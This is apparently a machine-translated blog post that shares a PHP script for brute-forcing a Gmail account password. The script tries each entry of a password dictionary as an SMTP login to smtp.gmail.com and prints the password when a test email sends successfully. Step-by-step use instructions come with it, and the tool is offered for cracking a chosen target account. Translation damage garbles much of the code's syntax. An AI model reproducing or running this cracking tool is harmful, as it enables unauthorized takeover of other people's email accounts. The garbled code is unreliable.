A blasting tool Gmail mailbox passwords

Share blasting a tool Gmail mailbox passwords, the use of the tool written in PHP.

Instructions:

The first step: to account for the variable to be modified to crack Gmail mailbox.

Step two: pwd_file variable as password dictionary path.

The third step: toAccount variable as any of your mailbox, the mailbox to receive messages.

Step 4: Run the command line "php gmail.php" start blasting password.

? < PHP
     / * 
        blasting Gmail mailbox password 
        blasting principle: a mailbox to mail, if sending is successful, the password is correct. 
        
        Instructions for use: 
        The first step: to account for the variable to be modified to crack Gmail mailbox. 
        Step two: pwd_file variable as password dictionary path. 
        the third step: toAccount variable as any of your mailbox, the mailbox for incoming mail. 
        step 4: at the command line run "php gmail.php" start blasting password 
    * / 
    
    use PHPMailer \ PHPMailer \ PHPMailer;
     use PHPMailer \ PHPMailer \ Exception ; 
    
    include_once "./src/PHPMailer.php" ;
     include_once "./src/SMTP.php" ; 
    
    // to be cracked Gmail mailbox 
    $ the Account = 'xxxx @ Gmail. COM ' ; 
    
    // password dictionary 
    $ pwd_file= './Password.txt' ; 
    
    // recipient, is set to your mailbox 
    $ toAccount = '[email protected]' ; 
    
    // message content, the default content generally does not modify the 
    $ body = "<h2> the this IS A In Email </ H2>. " ; 
    
    $ the FromName = the explode ( '@', $ Account ) [0 ];
     $ STR = file_get_contents ( $ pwd_file );
     $ pwd_list = the explode ( value is PHP_EOL , $ STR ); 
    
    the foreach ( $ pwd_list  AS  password $ ) {
         IF ( empty ($password)) {
            continue;
        }
        
        $mail=new PHPMailer();
        
        // 设置smtp参数
        $mail->IsSMTP();
        $mail->SMTPAuth=true;
        $mail->SMTPKeepAlive=true;
        $mail->SMTPSecure = "ssl";
        $mail->Host="smtp.gmail.com";
        $mail->Port = 465;
        
        $mail->Username = $account;
        $mail->Password = $password;
                
        $mail->From = $account;
        $mail->FromName = $FromName;
        $mail->Subject = "MacBook";
        $mail->AltBody=$body;
        $mail->WordWrap=50;
        
        $mail->MsgHTML($body);
        
        $mail->AddReplyTo($account, $FromName);
        
        $mail->AddAddress($toAccount,"Jack");
        
        $mail->IsHTML(true);
        
        if($mail->Send()) {
            echo "Account: {$account}" . PHP_EOL;
            echo "Password: {$password}" . PHP_EOL;
            exit();
        } else {
            echo $password . ' is error.' . PHP_EOL;
            continue;
        }
        
        usleep(100000);
    }

 

Guess you like

Origin www.cnblogs.com/dgjnszf/p/10927087.html